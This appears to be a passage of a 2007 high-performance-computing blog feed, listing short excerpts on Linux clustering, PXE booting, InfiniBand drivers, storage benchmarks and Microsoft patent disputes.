Linux-land, has decided that HZ is a dangerous macro to expose to users. Dangerous. Therefore, they wrap it in a kernel cloak. Which has the net effect of breaking large swaths of code which happen to use the quite innocuous HZ macro. Grrrrrr. digging through and dereferencing all the included header files I found this … ` #ifndef _ASMx86_64_PARAM_H #define _ASMx86_64_PARAM_H #ifdef KERNEL https://blog.scalability.org/2007/06/this-one-hurts/ Sun, 24 Jun 2007 19:49:55 +0000 https://blog.scalability.org/2007/06/this-one-hurts/ Working on simplifying and refactoring some Makefiles for DragonFly. Yeah, will mention what it is eventually. In the makefile, I build a bunch of perl modules. The previous version of this system had a pre-pulled set of CPAN modules, and all the bits had file system names like DBIx-SimplePerl-1.8.tar.gz Which is nice and easy to deal with. In order to make sure we can use this for updating as well, I thought it would be nice to exploit CPAN and the module name without the version. https://blog.scalability.org/2007/06/re-inventing-wheels/ Thu, 21 Jun 2007 21:11:59 +0000 https://blog.scalability.org/2007/06/re-inventing-wheels/ Why does SuSE insist on re-inventing wheels that others have done a far better job of inventing? I don’t get it. Specifically I am referring to not using yum in favor of their zypper and zmd and … C’mon SuSE, get with the program. Use yum. So we can stop messing around with yet-another-broken-thing-that-promises-to-be-better-someday. The yum “packaged” with SuSE is old, and broken. Worse, it sometimes, mysteriously fails. And even worse, it is effectively impossible to upgrade to the latest version. https://blog.scalability.org/2007/06/accidental-profound-wisdom/ Thu, 21 Jun 2007 03:12:22 +0000 https://blog.scalability.org/2007/06/accidental-profound-wisdom/ Well, this might not be the most appropriate title for this. I need to explain this, but first let me point to the article/email in question. Now that I have pointed to it, I want to note that there is a deeply profound set of statements in this email, which seems to be a series of responses to a discussion. Bear with me. In this email, Linus Torvalds discusses some things about the licensing of Linux. https://blog.scalability.org/2007/06/article-up-at-linux-magazine-hpc-site/ Thu, 21 Jun 2007 02:22:23 +0000 https://blog.scalability.org/2007/06/article-up-at-linux-magazine-hpc-site/ See here. Though apart from getting the author mixed up with the editor … https://blog.scalability.org/2007/06/just-too-funny/ Thu, 21 Jun 2007 00:48:53 +0000 https://blog.scalability.org/2007/06/just-too-funny/ I do quite a bit of Perl programming work in support of our products. Perl is sometimes (mistakenly IMO) called a scripting language; it may have been designed to handle that in the past, but it has evolved over the decades into something far more powerful. But it also has this … well … implicit sense of humor about it. Maybe this is what pisses off people advocating other programming languages. https://blog.scalability.org/2007/06/the-data-is-coming-the-data-is-coming/ Mon, 18 Jun 2007 04:43:01 +0000 https://blog.scalability.org/2007/06/the-data-is-coming-the-data-is-coming/ I’ve been talking for the better part of the last decade about one of the more serious problems looming for HPC, and frankly for all computing. Call it a data deluge or exponential data growth, whatever you would like. At the end of the day it means that you have more data than before, and it is growing faster than you think. Usually much faster than Moore’s law which gives you an order of magnitude about every 6 years. https://blog.scalability.org/2007/06/tiburon-nearly-ready-for-beta/ Fri, 15 Jun 2007 17:01:54 +0000 https://blog.scalability.org/2007/06/tiburon-nearly-ready-for-beta/ Installer works. Load a compute node mostly automagically (one step by hand during debugging phase, could automate this trivially) with OpenSuSE 10.2 x86_64, OFED 1.2-rc4, … sets up and configures addresses, mount points, user authentication (using NIS for the moment, anything we can script should work fine, LDAP would be preferred eventually), cluster queuing, yadda yadda yadda. The goal is to enable load/configure of any OS using PXEboot, without imaging. Some folks like imaging. https://blog.scalability.org/2007/06/catfight-at-the-lkml-corral/ Wed, 13 Jun 2007 13:57:58 +0000 https://blog.scalability.org/2007/06/catfight-at-the-lkml-corral/ ok, not really. Linus stated some things in a post to the linux kernel mailing list. IMO he is spot on. Jonathan’s reply is what I expect from a CEO. Our experience in trying to work with Sun has been one of them pushing Solaris as the solution for everything, even when customers (and resellers in our case) spec’ed designs using Linux as the customers preferred. Solaris is not being targeted by many new ISVs or IHVs, Linux is. https://blog.scalability.org/2007/06/ot-from-hpc-michigan-economy/ Wed, 13 Jun 2007 13:10:16 +0000 https://blog.scalability.org/2007/06/ot-from-hpc-michigan-economy/ Being a Michigander, I have an interest in seeing Michigan grow and thrive. This is a very nice state; there are many positive aspects to it. Apart from some union rules and the proclivity of our state government to tax, it is a good place to set up and run a business. Costs are low, burn rates are low, and relative to the rest of the country, salaries and home prices are lower. https://blog.scalability.org/2007/06/the-virtues-of-test-driven-methodology-in-program-development/ Tue, 12 Jun 2007 12:38:17 +0000 https://blog.scalability.org/2007/06/the-virtues-of-test-driven-methodology-in-program-development/ Short post, directly related to HPC. Short version: When developing new features for a program, routine, method, whatever, it is a good idea to test it how you think you will use it. Ok. This is a dumb one. Working on our Tiburon installer. Will help with managing clusters of things. Like Linux/other compute clusters. And JackRabbits (storage clusters). Part of the installer makes use of a Perl module I wrote named DBIx::SimplePerl. https://blog.scalability.org/2007/06/a-little-pxe-dust-here-and-there/ Mon, 11 Jun 2007 04:21:02 +0000 https://blog.scalability.org/2007/06/a-little-pxe-dust-here-and-there/ I now have a reasonable version of our Tiburon project installer working. Integrates a number of things via PXE boot. Had abandoned pxegrub in large part due to the grub team abandoning (for the most part) grub v0.9x (aka stuff that worked ok) in favor of the great big redesign and reimplementation (which doesn’t seem to be working). Don Becker, networking/clustering guru had warned of seriously borked PXE implementations in hardware, and how the interacted, badly, with TFTP. https://blog.scalability.org/2007/06/ofed-12-on-opensuse-102/ Fri, 08 Jun 2007 13:17:18 +0000 https://blog.scalability.org/2007/06/ofed-12-on-opensuse-102/ Well, looks like it works. The relevant directory is http://downloads.scalableinformatics.com/downloads/OFED-1.2-rc2/OpenSuSE10.2/ and you need to install the kernel before you install the RPMs. Note that you will have to run mkinitrd by hand (very easy, just “mkinitrd”), and add it into /boot/grub/menu.lst . This is again, very easy to do. Also, as I am a strong proponent of yum, this is a “yumable” path [OFED-1.2-rc2-OpenSuSE10.2] Name=OFED 1.2-rc2 for OpenSuSE 10.2 baseurl=http://downloads.scalableinformatics.com/downloads/OFED-1.2-rc2/OpenSuSE10.2/ enabled=1 which should let you do a yum install ibtools and other bits. https://blog.scalability.org/2007/06/concern-over-drive-failure-rates/ Fri, 08 Jun 2007 12:56:15 +0000 https://blog.scalability.org/2007/06/concern-over-drive-failure-rates/ Our JackRabbit storage unit uses lots of hard disks. The larger unit uses 48 drives in a 5U rack mount chassis. We selected and used the Seagate 750 GB NL drives for the unit, giving it a whopping 36 TB fully configured, with absolutely industry leading performance, density, etc. This is not a JackRabbit commercial, we are proud of our little L. Flavigularis though … My concern is drive failure rates. https://blog.scalability.org/2007/06/the-danger-of-monoculture/ Fri, 08 Jun 2007 02:29:08 +0000 https://blog.scalability.org/2007/06/the-danger-of-monoculture/ Those with anti-Microsoft postures might think this will be a missive about Microsoft. It is not. Microsoft will not be mentioned here apart from these two sentances. The monoculture to which I refer is that of building dependencies upon particular packaging mechanisms in open source tools, or upon specific distributions. We are trying to build OFED-1.x for OpenSuSE 10.2 in order to provide Infiniband driver support to a customer’s cluster. OFED supports RPM distributions, specifically highly specific versions from RedHat and SuSE. https://blog.scalability.org/2007/06/google-snaps-up-peakstream/ Wed, 06 Jun 2007 12:25:13 +0000 https://blog.scalability.org/2007/06/google-snaps-up-peakstream/ whoa. This one I did not see coming. It suggests that Google is serious about performance, and possibly, providing performance to its customers using tools such as PeakStream to provide acceleration. Google into acceleration. With a huge distributed supercomputer. Hmmm….. I wonder if the VCs out there can take time from the next Web 3.0 picture upload site or repackaged open source group to think about this. Nah. Overall, if you can provide high performance tools for reasonable prices (marginal cost above existing system prices), you have value. https://blog.scalability.org/2007/06/extraordinarily-cool/ Mon, 04 Jun 2007 03:17:16 +0000 https://blog.scalability.org/2007/06/extraordinarily-cool/ Was finally able to get Feisty booted diskless. It is running in a VMWare server session. See the picture below. [ ](http://scalability.org/images/diskless-ubuntu-in-vmware.png) Not perfect, need to clean up the mounts a bit, and fix up some other things, but this is the right direction for us. Quite happy about this. https://blog.scalability.org/2007/06/updated-rss/ Sun, 03 Jun 2007 12:57:30 +0000 https://blog.scalability.org/2007/06/updated-rss/ let me know if it breaks anything … https://blog.scalability.org/2007/06/ot-missing-the-point/ Sun, 03 Jun 2007 12:31:46 +0000 https://blog.scalability.org/2007/06/ot-missing-the-point/ I use Linux on my laptop. Have for years. Use lots of business tools there. Browse web pages with firefox, get email with thunderbird. Create, modify, finalize, present “office” documents (Excel spreadsheets, powerpoint presentations, Word documents). Watch video clips (legal), DVDs (legal), etc. It makes for a great platform for these things. Stable, fast, virus free. One of my big complaints about dealing with web pages has been the propensity to code to IE-whatever. https://blog.scalability.org/2007/05/cool/ Wed, 30 May 2007 12:38:21 +0000 https://blog.scalability.org/2007/05/cool/ Surface computing. I can see uses for this, in HPC and analytics, not to mention tele/remote medicine, science/engineering … Kudos to Microsoft. This should be quite cool. https://blog.scalability.org/2007/05/diskless/ Tue, 29 May 2007 21:04:06 +0000 https://blog.scalability.org/2007/05/diskless/ still not behaving with Ubuntu 7.04 or 6.10. In 6.10, at least it gets the nfs-premount scripts, and then tries (and fails, due to a missing colon) the /root directory from the NFS server. Reminds me of the autoinst days of long past. Took a while to figure out how to get Irix booted diskless, but once that happened and I could do it reliably, the rest was easy…. er … yeah… easy. https://blog.scalability.org/2007/05/pxe-boot-os-and-configuration/ Mon, 28 May 2007 19:50:17 +0000 https://blog.scalability.org/2007/05/pxe-boot-os-and-configuration/ Our systems install via PXE boot whenever possible. Much faster than DVD/CD, floppies and alike. I have been fighting with PXELINUX (part of the excellent SYSLINUX package of boot loaders with menus) trying to get it working the way I want it to. This is important for JackRabbit and our compute clusters. Of course I was using the native SYSLINUX package, something around version 2.09 or something like that. I had pxegrub loading, but then it would basically hang while working with the network. https://blog.scalability.org/2007/05/lightcones-filesystems-and-messages-and-large-distributed-clusters-with-non-infinite-bandwidth-and-finite-latency/ Mon, 28 May 2007 05:57:28 +0000 https://blog.scalability.org/2007/05/lightcones-filesystems-and-messages-and-large-distributed-clusters-with-non-infinite-bandwidth-and-finite-latency/ A point I try to make to customers at the day job is that, as you scale up a systems size, your design will need to scale as well. And this begs the question. How will it need to change? Currently (May 2007) simple NFS suffers from 1/N problems (1/N meaning that as the average number of requesters N increases, the average available fixed resource available per requester works out to about 1/N … modulo duty cycles, transients, etc). https://blog.scalability.org/2007/05/language/ Sun, 27 May 2007 23:34:22 +0000 https://blog.scalability.org/2007/05/language/ Ok, it hit me today. I know what I want, or at least in part, in a language. I do not want to write loops. I want to write something like this: range: i=1 .. N; a[i] = b[i]+c*d[i]; You don’t see any explicit “for” loops. No explicit control structures. The rationale I have for this is that without an explicit set of control structures, the compiler is freer to transform the code to match the underlying machine architecture. https://blog.scalability.org/2007/05/nail-hammer-hit-hit-hit/ Sun, 27 May 2007 19:41:26 +0000 https://blog.scalability.org/2007/05/nail-hammer-hit-hit-hit/ Michael Suess over at the always interesting Thinking Parallel blog wrote a number of interesting pieces recently. I would suggest a trip over there to read some of them. I must thank him at some point for pointing to us as part of his “you are what you read” post. We aren’t on an anti-Microsoft spree, and I am not trying to “kill” them. I am being skeptical about their motives, and noting that there are alternative and simpler explanations for their actions. https://blog.scalability.org/2007/05/ill-behaved-web-crawlers/ Sun, 27 May 2007 19:10:57 +0000 https://blog.scalability.org/2007/05/ill-behaved-web-crawlers/ This is not about HPC. I look at our logs every now and then to see if we have problems which aren’t normally covered in monitoring scenarios. Looking over the web logs, I see the usual usage, and bots. Some bots have been poorly behaved, some are quite intelligent. Google’s are pretty good. So are many of the others. A group of them are very poor web-denizens, who seem to be incapable of understanding the links they see, and blindly follow them. https://blog.scalability.org/2007/05/ahhh-the-business-rationale-becomes-clear/ Sun, 27 May 2007 14:51:25 +0000 https://blog.scalability.org/2007/05/ahhh-the-business-rationale-becomes-clear/ From John West’s InsideHPC blog I found a link to a link to a paper on a Microsoft site. This paper starts out with lofty goals Sounds great, they are going to teach us a set of best practices for HPC. Cool. I like learning new things, so this should be helpful. They continue a little later on … Hmmm… If they think HPC is all about solutions can be used to crunch complex mathematical problems in a variety of area, then we have a problem. https://blog.scalability.org/2007/05/the-story-that-will-not-go-away/ Thu, 24 May 2007 23:28:44 +0000 https://blog.scalability.org/2007/05/the-story-that-will-not-go-away/ The Register reports that Microsoft is uh… yeah. This whole thing bothers me. Because it means that Microsoft is implying that anyone in HPC using Linux is a thief, stealing and using Microsoft intellectual property without paying Microsoft for the privilege. Neat strategy. “Use our stuff and we won’t sue”. I can’t believe that I am the only one that finds this offensive. Somewhat more odious than their initial marketing message of “now HPC is mainstream. https://blog.scalability.org/2007/05/compilers/ Thu, 24 May 2007 18:22:21 +0000 https://blog.scalability.org/2007/05/compilers/ I like the intel compilers. The generate nice code on intel platforms. The problem is when you use them for your product, you only get good code for intel platforms. The resulting code winds up being slow in many cases on Opterons. Which is not good. I have been talking about this point for a while. There are hacks you can use with your intel generated code to take out the specific processor test cases, and just run them on opterons, and surprise, they run often better than without those hacks. https://blog.scalability.org/2007/05/how-do-you-program-n-cores-as-n-infinity/ Thu, 24 May 2007 18:12:40 +0000 https://blog.scalability.org/2007/05/how-do-you-program-n-cores-as-n-infinity/ I have been touching on some of the aspects of this in various posts here recently. Basically you have 2 roughly related technologies to work with today. Shared memory (OpenMP) and distributed memory (MPI). Sure there are others, but these dominate. But there is a problem with these. In the case of OpenMP, you annotate your source, and the compiler does the work. But it only does the work assuming you have a shared memory system. https://blog.scalability.org/2007/05/and-receive-and-receive/ Wed, 23 May 2007 02:21:28 +0000 https://blog.scalability.org/2007/05/and-receive-and-receive/ What a day for 10GbE. Ask a question. Get a few answers. Inexpensive NICs are good. So are inexpensive switches. Have a look at Woven systems. https://blog.scalability.org/2007/05/ask-and-ye-shall-receive/ Tue, 22 May 2007 02:38:08 +0000 https://blog.scalability.org/2007/05/ask-and-ye-shall-receive/ I asked earlier today where the 10GbE was, noting that NICs were horribly expensive, and switches were bad as well. Well, I just read this which suggests the Mellanox will be sourcing chips to builders for reasonable pricing. Now only if CX-4 weren’t so expensive … https://blog.scalability.org/2007/05/can-you-say-backfire/ Tue, 22 May 2007 02:29:21 +0000 https://blog.scalability.org/2007/05/can-you-say-backfire/ Over at Digital Tipping Point we see something quite interesting. The blog author has set up a list for people to sign up to be sued by Microsoft for patent infringement. Now you might think I mean “backfire” as in these people are nuts. This is not what I mean. What I mean is that the patent threats have managed to open up a whole new front, one that has surprised me, as I did not think of it. https://blog.scalability.org/2007/05/wherefore-art-thou-10gbe/ Mon, 21 May 2007 12:26:27 +0000 https://blog.scalability.org/2007/05/wherefore-art-thou-10gbe/ For quite a while, we have been hearing about how great 10GbE is. I like the idea, it is just ethernet. Plug it in (with CX-4 … ) and off you go. There is only a small number of flys in this particular ointment. Cost: Per port costs of 10GbE are huge. The NICs are running in the thousands of USD ($), and the switches … well … lets not go there. https://blog.scalability.org/2007/05/winxp-x64/ Mon, 21 May 2007 01:10:51 +0000 https://blog.scalability.org/2007/05/winxp-x64/ Loaded it on two “desktop” systems for a customer evaluation. Well these are desktops in name only. Smaller than the other ferocious beasts we finished building last week, but still … The small ones are a dual dual-core Opteron 2220 system with 8 GB ram, and 1 TB of fast disk, and a dual quad core Clovertown 5310 unit with 8 GB ram, and 1 TB of fast disk. Only differences were processor, motherboard, and RAM type, the rest of the specs were the same. https://blog.scalability.org/2007/05/opting-for-the-sane-strategy/ Wed, 16 May 2007 01:43:56 +0000 https://blog.scalability.org/2007/05/opting-for-the-sane-strategy/ Lots of people called this for what it was. FUD. Pure and simple. Marketing by threatened litigation. This evening, information-week posted more discussion, including Linus Torvalds viewpoint. Not so oddly enough, his view was quite similar with my thoughts. That wasn’t what struck me. It was the backpedaling. My thoughts are, simply put, what utter hogwash. Their comments were a carefully prepared shot across the bow. It was meant to have marketing impact. https://blog.scalability.org/2007/05/state-of-the-fud-day-3-morning/ Tue, 15 May 2007 13:51:45 +0000 https://blog.scalability.org/2007/05/state-of-the-fud-day-3-morning/ This morning, more “coverage” (being generous here). First USA Today tells us that “Microsoft details patent breaches." This seems to be a new definition of the word “detail”, one that I am not quite familiar with. Detail usually means “extended treatment of or attention to particular items”. The definition of detail for the USA today piece appears to be different. No details on patents. Just “counts”. Moreover, the article indicates that https://blog.scalability.org/2007/05/fud-update-day-2/ Tue, 15 May 2007 02:42:37 +0000 https://blog.scalability.org/2007/05/fud-update-day-2/ Well, we seem to not have been the only ones to notice the problems with the arguments made by Microsoft legal. Larry Augustin, of VA Linux fame, wrote a response that is worth reading. In it he basically says “put them up (the allegedly infringed patents, and where the infringing code/design is), or shut up.” The critical “money” quote is That is the point after all. Super-secret evidence. Reminds me of the Animal House movie. https://blog.scalability.org/2007/05/locality-and-centrality-in-massive-computing-and-storage-systems/ Mon, 14 May 2007 01:43:02 +0000 https://blog.scalability.org/2007/05/locality-and-centrality-in-massive-computing-and-storage-systems/ Here we are in the age of the cluster and grid, with distributed shared nothing approaches to processing cycles, and we collectively have this rather ironic fixation on shared file systems. This is amusing as one of the critical arguments for distributed computing is that, in aggregate, N processors provides N times the number of processing cycles that 1 processor can provide, and shared resources are contended for resources (e.g. bottlenecks). https://blog.scalability.org/2007/05/if-your-competitor-beats-you-in-the-marketplace-then-fud-fud-fud/ Mon, 14 May 2007 01:11:44 +0000 https://blog.scalability.org/2007/05/if-your-competitor-beats-you-in-the-marketplace-then-fud-fud-fud/ What do you do when a competitor encroaches upon your cash cows, starts usurping deals, demonstrates unbeatable TCO, infinitely better acquisition cost, better security and resilience to attacks? You FUD them of course. FUD being the act of creating Fear, Uncertainty, and Doubt about them. Say, for example, dangling the possibility of lawsuits against users of the competitors products. Scare your customers, scare their customers. And how do you do this? https://blog.scalability.org/2007/05/updated-mkchbondpl/ Sun, 06 May 2007 20:40:44 +0000 https://blog.scalability.org/2007/05/updated-mkchbondpl/ Our mkchbond.pl script automates the creation of channel bond entries in Redhat and now SuSE Linux. Its primary reason for existing is to automate a process that is editing intensive, and somewhat annoying. It also provides dry runs by default, you have to tell it to –write a file before it will touch anything. For example: to create a 4 way channel bond named bond0 out of eth2, eth3, eth4, eth5, with an IP address of the bond as 192. https://blog.scalability.org/2007/05/worth-a-read/ Wed, 02 May 2007 16:19:20 +0000 https://blog.scalability.org/2007/05/worth-a-read/ Have a look at this link. We have pointed out that Microsoft has had a great opportunity to a) do the right thing, b) do it in a multiplatform manner. Would make lots of customers/end users happy. Lower barriers and all that. Unfortunately, I am not sure Microsoft quite grasps that this is why clusters are so powerful, or why Open Source is so widely used. Its all about the barriers, and getting around them. https://blog.scalability.org/2007/05/accelerated-computing-appliances/ Tue, 01 May 2007 12:31:52 +0000 https://blog.scalability.org/2007/05/accelerated-computing-appliances/ Having spoken with quite a number of potential/current customers on this topic, we had been assured that end users were largely disinterested in expensive single point-function computing devices. They wanted inexpensive, and fast, and reusable for other things. 10x current platform performance for well under 10k$US was what really stuck out in our responses to inquiries. Of course, this was over the last several years, and you get 10x from Moore’s law advances every 5-6 years, so you can always just wait. https://blog.scalability.org/2007/04/looking-for-needles-in-haystacks-and-other-quixotic-pasttimes/ Fri, 27 Apr 2007 16:57:59 +0000 https://blog.scalability.org/2007/04/looking-for-needles-in-haystacks-and-other-quixotic-pasttimes/ I have been wanting to get CCS adoption data. It helps us understand whether this is a viable target for software development, and whether or not we want to invest limited resources in it. We had been asked previously by Microsoft to “benchmark” applications, though they seem to have missed our point about porting the applications to run fast natively before we benchmark. Regardless, we want to see if others have been adopting the platform. https://blog.scalability.org/2007/04/spring-special-for-the-24-tb-jackrabbit/ Thu, 26 Apr 2007 04:33:53 +0000 https://blog.scalability.org/2007/04/spring-special-for-the-24-tb-jackrabbit/ Spring is almost here … in Michigan. Its not cold enough to snow, but not warm enough for trees and plants to bloom. That means that it is time for rabbits to go forth and multiply. With this in mind, in honor of the new product offering, Scalable Informatics JackRabbit 24 TB storage systems are available from Scalable Informatics and partners for $23,830. This is less than $1/GB for a system demonstrating more than 1 GB/s performance on standard IO test cases. https://blog.scalability.org/2007/04/jackrabbit-benchmark-report-is-up/ Wed, 18 Apr 2007 13:27:00 +0000 https://blog.scalability.org/2007/04/jackrabbit-benchmark-report-is-up/ Have a look here. Performance is excellent. [ ](http://scalability.org/images/JR-benchmark-picture.jpg) https://blog.scalability.org/2007/04/high-performance-computing-acceleration-white-paper/ Mon, 09 Apr 2007 23:36:24 +0000 https://blog.scalability.org/2007/04/high-performance-computing-acceleration-white-paper/ We worked on this white paper back at the end of December for AMD. We have significant data that goes along with it, very interesting data, that shows nicely that software and software+hardware accelerated applications can scale. The white paper is here or you can pull it from the AMD site. [ ](http://www.scalableinformatics.com/public/AccComp_WP.pdf) There are a few editing mistakes in it, but apart from that, it is an overview of acceleration as it exists today. https://blog.scalability.org/2007/04/the-importance-of-scaling-down-as-well-as-up/ Sat, 07 Apr 2007 04:13:27 +0000 https://blog.scalability.org/2007/04/the-importance-of-scaling-down-as-well-as-up/ We had some conversations recently with customers about JackRabbit solutions that suggested what we thought as our small configuration was in fact too large. This was an eye-opener. This group has particular needs well suited to the design, but they have to keep the system costs down, and are willing to trade some aspects of design for cost. So we worked on it, and came out with a unit that should be able to provide about 8 TB for about 9k$ US. https://blog.scalability.org/2007/04/as-systems-scale-up-hard-problems-are-exposed/ Sat, 07 Apr 2007 04:05:06 +0000 https://blog.scalability.org/2007/04/as-systems-scale-up-hard-problems-are-exposed/ You have a 4 node cluster. You want to share data among the nodes. Pretend it is a “desktop” machine. Fine. Setup NFS. Or Samba/CIFS. Share the data. End of story. But this doesn’t work as well when you get to 40 nodes, and starts failing badly at 400. At 4000 nodes, well, you need a special filesystem design. What happened? Why when we scale up do problems arise? Well, you have several factors. https://blog.scalability.org/2007/04/added-a-view-counter-and-other-blogging-bits/ Mon, 02 Apr 2007 18:47:40 +0000 https://blog.scalability.org/2007/04/added-a-view-counter-and-other-blogging-bits/ Won’t grab historical data, just stuff going forward … https://blog.scalability.org/2007/03/some-see-an-augering-in-some-see-opportunity/ Fri, 30 Mar 2007 02:28:21 +0000 https://blog.scalability.org/2007/03/some-see-an-augering-in-some-see-opportunity/ My day job is at a company in the Metro Detroit area. Metro Detroit, and actually Michigan in general is a very nice state. This is a good place. There are good people here. Prices are reasonable, cost of living isn’t terrible, and for the moment, taxes are under control. The problem is that the area is completely dependent upon the fortunes of the US auto manufacturers. Since manufacturing continues its effort to seek out and use the lowest cost systems, Metro Detroit and Michigan will continue to hemorrhage jobs in this area. https://blog.scalability.org/2007/03/looks-nice-but-i-still-worry-about-memory-contention/ Fri, 30 Mar 2007 01:05:05 +0000 https://blog.scalability.org/2007/03/looks-nice-but-i-still-worry-about-memory-contention/ Intel announced some details on Penryn and others today. It looks like a sweet chip. The problem I am having is, if the Clovertown is memory bus bound with 4 cores (2 x 2-core chips) for a number of memory intensive workloads, won’t 8+ cores be worse? Think of this in terms of public expenditure and return on investment. If something you are investing more money in isn’t giving you the return you want/need, doesn’t it make sense to stop throwing more money at it? https://blog.scalability.org/2007/03/peakstream-announces-availability-of-peakstream-workstation-for-microsoft-windowsr-edition-beta/ Tue, 27 Mar 2007 18:22:49 +0000 https://blog.scalability.org/2007/03/peakstream-announces-availability-of-peakstream-workstation-for-microsoft-windowsr-edition-beta/ REDWOOD CITY, Calif.-(Business Wire)-March 27, 2007 - PeakStream, Inc., a leading software application platform provider for the high performance computing (HPC) market, today announced its innovative PeakStream Platform(TM) is now available in beta version for Microsoft Windows.PeakStream Workstation(TM) for Microsoft Windows(R) Edition allows software developers to easily program new high performance processors such as multi-core CPUs and graphics processor units (GPUs) directly on their desktops. Now, programmers working with Windows can enjoy the same advantages that their Linux-based counterparts have been benefiting from since the PeakStream Platform’s initial launch last September: the ability to develop technical and scientific applications faster, and run them at higher performance, using their existing tools and programming languages. https://blog.scalability.org/2007/03/final-sprint-before-shipping/ Mon, 26 Mar 2007 20:00:14 +0000 https://blog.scalability.org/2007/03/final-sprint-before-shipping/ Now that I (think) understand most of the major issues here, and I can be reasonably sure that I have a good grasp of the tuning, I think I want to take it out on the test track and give it one final once over. Lets open the throttle. Wide. I can tune the IO scheduler, number of outstanding IO requests (for sorting), various buffer cache, and the works. I now have the clock left alone (need to set it that way by default), so it is running full speed. https://blog.scalability.org/2007/03/powernow-considered-harmful-to-benchmarking/ Mon, 26 Mar 2007 14:29:41 +0000 https://blog.scalability.org/2007/03/powernow-considered-harmful-to-benchmarking/ I had an interesting epiphany over the last few days. We normally turn on powernow to let idle machines … idle … during low load times. This way they consume less power. Of course, the road to penultimate benchmark results are paved with such good intentions. I noticed that when run this way, several CPU/memory/IO benchmarks didn’t always hit the throttle on the CPU. It remained clocked lower. Which meant I was getting very odd buffer cache timing, that I could not quite grok. https://blog.scalability.org/2007/03/wince-ing/ Sun, 25 Mar 2007 03:50:19 +0000 https://blog.scalability.org/2007/03/wince-ing/ So I have a “new” phone. Long story, not worth going into. It runs Windows CE. My Palm Treo 650 was frustrating (PalmOS is inconsistent, and largely broken, missing important things … and it crashed … occasionally wiping out the email program and all settings). If anyone from Palm is reading this, please understand that I have every intention of avoiding your future products. For a very good reason. This phone looked better than mine from a feature perspective. https://blog.scalability.org/2007/03/linux-advertisment-from-novell/ Sat, 24 Mar 2007 14:50:20 +0000 https://blog.scalability.org/2007/03/linux-advertisment-from-novell/ Amusing… Of course there is more than a little grain of truth to it, even though it is marketing. And there is a second “ad” here, and a third. Update: Ok, this is something I don’t quite get. I have done some searching for market share data for Linux. Why not, it is of some interest to know what customers want and are interested in using. Almost all the “data” I have seen puts Linux penetration into the noise. https://blog.scalability.org/2007/03/new-jackrabbit-site-is-up/ Wed, 21 Mar 2007 12:50:35 +0000 https://blog.scalability.org/2007/03/new-jackrabbit-site-is-up/ Finally, hunkered down, did a less is more approach. See http://jackrabbit.scalableinformatics.com. Or this link. Getting content up there in bits and pieces. Working on the most requested bits, the updated benchmark reports. Update: As I have discovered, some people are ideologically opposed to telling us who they are before they read the papers. Fair enough. Will give them incentives. Go to the links, pull them down, and if you like them and possibly buy them from Scalable (or our partners) we will provide a discount if your correct name/email/phone data is in the database. https://blog.scalability.org/2007/03/this-is-wrong-so-very-wrong/ Wed, 21 Mar 2007 12:44:26 +0000 https://blog.scalability.org/2007/03/this-is-wrong-so-very-wrong/ When you update your computer, get patches, you assume (and this may be the hard part) that the people putting out the patches respect your efforts to keep your system secure. Of course, some like checking every few weeks if your system is “genuine”. You know that they would never, ever waste your time and effort on pushing a marketing program as a patch. Never. Ever. Because it would be wrong. https://blog.scalability.org/2007/03/paid-my-microsoft-tax-today/ Sun, 18 Mar 2007 22:50:43 +0000 https://blog.scalability.org/2007/03/paid-my-microsoft-tax-today/ Yes, for a number of reasons, we needed to get another laptop (good reasons, we are growing, and our new person needs it). Unfortunately, it is pretty close to impossible to find a laptop without Vista. I would prefer XP Pro out of all the Microsoft products. It does appear that HP will be offering laptops with SuSE on them, and hopefully Dell will be offering them with Ubuntu and others. https://blog.scalability.org/2007/03/the-3-day-iozone-test/ Sat, 17 Mar 2007 02:52:20 +0000 https://blog.scalability.org/2007/03/the-3-day-iozone-test/ Ugh … I had thought that I would be able to use VC++ to build IOzone. Well, I haven’t been successful at this. IOzone, like many other OSS codes use autoconf. Which hasn’t been ported to enable people to use VC++. So I used Cygwin to build bonnie++ and IOzone. IOzone has been running, oh, about 3 days now, on the windows 2003 server x64 unit. With a 32GB file size, performance pretty much falls off the radar. https://blog.scalability.org/2007/03/someone-needs-to-take-charge-at-novell/ Thu, 15 Mar 2007 23:05:32 +0000 https://blog.scalability.org/2007/03/someone-needs-to-take-charge-at-novell/ [shakes head in disbelief] Reported on /. and elsewhere. Way back when it was announced, Mr. Ballmer, head honcho of Microsoft demonstrated how much he p0wned Novell when he let loose with some beauties right after signing a deal with them. Our comment at the time was And today, we get a demonstration of how badly they were played, and continue to be played, and how clueless their marketing is. From /. https://blog.scalability.org/2007/03/redhat-el-5-is-out/ Thu, 15 Mar 2007 19:22:05 +0000 https://blog.scalability.org/2007/03/redhat-el-5-is-out/ Old news by now. Looks like, apart from xfs, they fixed lots of things they needed to fix. They made the advanced version look very nice. With this, setting up JackRabbit Pack storage clusters should be pretty easy. We will still have to support xfs externally to them, but at least now they have some things we can use within our RAIN JackRabbit Pack storage cluster. Time to make sure it works. https://blog.scalability.org/2007/03/jackrabbits-looking-through-windows/ Thu, 15 Mar 2007 02:07:28 +0000 https://blog.scalability.org/2007/03/jackrabbits-looking-through-windows/ Summary: JackRabbit officially supports Windows 2003 Server x64. Scalable Informatics will support JackRabbits running windows. For those not in the know, JackRabbit is a very dense, power efficient, and high performance storage system. 36 TB (yes TeraByte) raw in 5 rack units (yes, this is not a typo). We regularly measure more than 1GB/s sustained to disks. It has network pipes to push out the data as well, starting with quad Gigabit ethernet, and moving up from there to Infiniband, 10GbE, and other technologies as they stabilize. https://blog.scalability.org/2007/03/like-deja-vu-all-over-again/ Wed, 14 Mar 2007 13:40:16 +0000 https://blog.scalability.org/2007/03/like-deja-vu-all-over-again/ When I installed the original Solaris 10 bits (the 6.06 bits) on a machine, I was amazed at how incredibly confused and useless the installer was. For a supposedly powerful OS to have so completely useless an installer didn’t amuse me, it frustrated me. Keep this in mind. I am installing, or put more accurately, attempting to install, Windows 2003 x64 server. Boots from the DVD/CD on the USB2 port. So far so good. https://blog.scalability.org/2007/03/more-fast-rabbits/ Wed, 14 Mar 2007 00:27:35 +0000 https://blog.scalability.org/2007/03/more-fast-rabbits/ The rebuild finished. Rebooted, not sure why we were getting the oddities we did. On the test track. Open it up, just a little. As I am sitting here, I am watching it spill 500-700 MB/s to disk in writes. Our test case is 2x larger than physical memory. Caching isn’t relevant for reading and writing here. Now it is switching into “Reading intelligently…”. To understand why this is so interesting, here is some dstat output again. https://blog.scalability.org/2007/03/jackrabbits-are-fast-critters/ Tue, 13 Mar 2007 04:40:37 +0000 https://blog.scalability.org/2007/03/jackrabbits-are-fast-critters/ We received our unit back from the testers. We were interested in seeing 